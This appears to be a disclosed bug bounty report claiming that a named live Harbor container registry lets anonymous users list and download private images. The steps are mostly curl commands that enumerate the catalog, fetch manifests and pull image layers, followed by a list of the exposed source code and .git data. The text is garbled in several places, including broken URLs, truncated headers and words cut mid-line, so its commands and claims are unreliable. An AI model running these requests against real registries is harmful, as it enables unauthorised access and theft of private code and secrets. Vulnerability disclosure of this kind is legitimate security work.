IFT Disclosed Report

The vulnerability allows an unauthenticated attacker to access the contents of private Docker image repositories in Harbor without having to authenticate.

Harbor (versions 1.x.x through 2.5.3) contains a critical access control vulnerability that allows any unauthenticated user to download private and public container images stored in the registry. The attack is carried out via a publicly available API that does not require authorization. This leaks source code, private keys, passwords, configuration files and other sensitive data critical to the company. ( attached P0C)

Harbor is not just an “image warehouse” but a key component of the IT infrastructure where business-critical data is stored. A compromise of this data = a threat to the entire business!

Remediation Steps Upgrade Harbor to Version 2.6.0 or Later Limit Harbor’s web interface and API access to trusted IP addresses only. Enable Logging and Monitoring

Unfortunately, I can't attach all the photos because of the restriction, so I will add them through comments.

Environment

Target: https://harbor.status.im (Harbor container registry, affected versions 1.x.x – 2.5.3) No credentials, no cookies, no Authorization header — every request below is fully unauthenticated.

Steps to Reproduce

1. Confirm the Docker Registry v2 API answers without an auth challenge

curl -s -i https://harbor.status.im/v2/

→ HTTP 200, no 401 and no WWW-Authenticate header.

2. Enumerate the complete repository catalog anonymously

curl -s "https://harbor.status.im/v2/_catalog?n=1000"

→ Returns both public and private repositories, including: library/alpine, library/ubuntu, library/rnimbus/nimbus-validator-client, nimbus/nimbus-fluffy, status-im/json-rpc-snoop, infra/prom-filter-proxy, ent (see attachedscreenshot)

3. List the tags of a private repository

curl -s

"https://harbor.status.imagement/tags/list"

→ deploy-master, 7cb2db56

4. Fetch the image manion required

curl -s -H "Accept: abution.manifest.v2+json""https://harbor.status.im/v2/wakuorg/rln-keystore-management/manifests/deploy-master"

→ Returns the manifest wigests.

**5. Download every layer

curl -s -o layer.tar."https://harbor.status.im/v2/wakuorg/rln-keystore-management/blobs/sha256:f18232

174bc91741fdf3da96d8501105c870"

Every blob returns HTTP 2he same was repeated inbulk across every repository and tag returned in step 2 (see the dump output in the attached screenshot).

**6. Extract the download

tar -xzf layer.tar.gz

**7. Inspect the contents

The extracted layers expooad (see attachedscreenshots):

• Complete application source tree: src/, public/, package.json, yarn.lock, tsconfig.json, next.confiostcss.config.mjs,README.md
• CI/CD and build definite
• A full .git directory — branches/, objects/, refs/, logs/, config, HEAD, index, FETCH_HEAD — i.e. y plus remote URLs and anycredentials stored in the git config
• The compiled Next.js ser/ (pages-manifest.json,middleware-manifest.json, server-reference-manifest.js, webpack-runtime.js, …)

Result

Any anonymous user on the internet can enumerate and download the contents of every private container ication source code, buildpipelines, full git history, configuration files and any secrets baked into the image layers.